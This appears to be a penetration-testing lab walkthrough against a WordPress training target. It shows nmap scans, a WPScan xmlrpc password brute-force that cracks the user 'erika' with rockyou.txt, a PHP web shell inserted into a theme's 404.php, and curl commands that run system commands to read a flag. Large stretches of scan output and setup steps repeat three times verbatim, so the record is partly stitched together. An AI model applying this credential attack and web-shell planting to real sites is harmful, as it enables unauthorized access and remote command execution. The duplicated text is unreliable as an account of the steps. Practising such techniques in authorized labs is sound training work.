| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
root@oco:~$ BROWSER > https://wpscan.com/register/
email: ...
password: ...
root@oco:~$ BROWSER > https://wpscan.com/profile/
API Token: {...}
#Set it as an environment variable
root@oco:~$ export WPSCAN_API_TOKEN='{apiToken}'
* use environment variables in scripts to avoid exposing your token in command history.
- add it to your shell profile (~/.bashrc, ~/.zshrc) if you use WPScan regularly.
root@oco:~$ BROWSER > https://wpscan.com/my-account
* create an account and get your API token
root@oco:~$ wpscan --url {targetSite:port} --api-token {apiToken}
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
root@oco:~$ BROWSER > https://wpscan.com/register/
email: ...
password: ...
root@oco:~$ BROWSER > https://wpscan.com/profile/
API Token: {...}
#Set it as an environment variable
root@oco:~$ export WPSCAN_API_TOKEN='{apiToken}'
* use environment variables in scripts to avoid exposing your token in command history.
- add it to your shell profile (~/.bashrc, ~/.zshrc) if you use WPScan regularly.
root@oco:~$ BROWSER > https://wpscan.com/my-account
* create an account and get your API token
root@oco:~$ wpscan --url {targetSite:port} --api-token {apiToken}
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
root@oco:~$ BROWSER > https://wpscan.com/register/
email: ...
password: ...
root@oco:~$ BROWSER > https://wpscan.com/profile/
API Token: {...}
#Set it as an environment variable
root@oco:~$ export WPSCAN_API_TOKEN='{apiToken}'
* use environment variables in scripts to avoid exposing your token in command history.
- add it to your shell profile (~/.bashrc, ~/.zshrc) if you use WPScan regularly.
root@oco:~$ BROWSER > https://wpscan.com/my-account
* create an account and get your API token
root@oco:~$ wpscan --url {targetSite:port} --api-token {apiToken}
#walk the application
root@htb:~$ BROWSER > http://10.129.2.37/ > blog
* Hmm. We’re having trouble finding that site.
root@htb:~$ sudo nano /etc/hosts
10.129.2.37 blog.inlanefreight.local
root@htb:~$ sudo nmap -sC -sV -T4 10.129.2.37 -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:31:c0:f2:74:ba:29:32:5d:15:ae:43:c5:3a:2c:ab (RSA)
| 256 b5:64:dc:0a:bc:2d:d9:aa:1e:42:b2:50:34:73:0f:40 (ECDSA)
|_ 256 5e:7e:8a:b9:e7:73:5c:be:00:f2:5f:19:d6:d3:23:e3 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Inlane Freight
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Inlane Freight
root@htb:~$ sudo nmap --script=vuln 10.129.2.37 -p 22,80,443
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:80/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/error.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:80/about.html
| Form id:
|_ Form action: #
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
443/tcp open https
|_ssl-ccs-injection: No reply from server (TIMEOUT)
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
| http-enum:
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /error.html: Potentially interesting folder
|_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=inlanefreight.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://inlanefreight.local:443/
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/contact.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/about.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/index.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/gallery.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/services.html
| Form id:
| Form action: #
|
| Path: http://inlanefreight.local:443/error.html
| Form id:
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
root@oco:~$ BROWSER > https://wpscan.com/register/
email: ...
password: ...
root@oco:~$ BROWSER > https://wpscan.com/profile/
API Token: {...}
#Set it as an environment variable
root@oco:~$ export WPSCAN_API_TOKEN='{apiToken}'
* use environment variables in scripts to avoid exposing your token in command history.
- add it to your shell profile (~/.bashrc, ~/.zshrc) if you use WPScan regularly.
root@oco:~$ BROWSER > https://wpscan.com/my-account
* create an account and get your API token
root@oco:~$ wpscan --url {targetSite:port} --api-token {apiToken}
root@htb:~$ find / -iname *rockyou* 2>/dev/null
/usr/share/wordlists/rockyou.txt.gz
root@htb:~$ cp /usr/share/wordlists/rockyou.txt.gz .
root@htb:~$ gunzip rockyou.txt.gz
root@htb:~$ ls
rockyou.txt
root@htb:~$ sudo wpscan --url http://blog.inlanefreight.local --password-attack xmlrpc -t 20 -U erika -P rockyou.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.27
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://blog.inlanefreight.local/ [10.129.181.217]
[+] Started: Sun Apr 20 20:18:00 2025
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - erika / 010203
Trying erika / zachary Time: 00:00:16 < > (700 / 14345092) 0.00% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: erika, Password: 010203
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Apr 20 20:18:40 2025
[+] Requests Done: 893
[+] Cached Requests: 5
[+] Data Sent: 428.592 KB
[+] Data Received: 23.316 MB
[+] Memory used: 314.824 MB
[+] Elapsed time: 00:00:40
root@htb:~$ BROWSER > http://blog.inlanefreight.local/ > log in
http://blog.inlanefreight.local/wp-login.php
username: erika
password: 010203
root@oco:~$ BROWSER > {targetWPSite:port} > Appearance > Theme Editor
Select Theme To Edit: Twenty Seventeen
Theme Files: 404 Template
* select an inactive theme in order to avoid corrupting the main theme.
* choose a non-critical file such as 404.php to modify and add a web shell.
Selected File Content
<?php
system($_GET['cmd']);
/**
* The template for displaying 404 pages (not found)
*
* @link https://codex.wordpress.org/Creating_an_Error_404_Page
<SNIP>
* click on "update file" once done
root@oco:~$ curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@htb:~$ curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=ls+/home"
erika
frank.mclane
mrb3n
root@htb:~$ curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=ls+/home/erika"
d0ecaeee3a61e7dd23e0e5e4a67d603c_flag.txt
root@htb:~$ curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=cat+/home/erika/d0ecaeee3a61e7dd23e0e5e4a67d603c_flag.txt"
HTB{w0rdPr355_4SS3ssm3n7}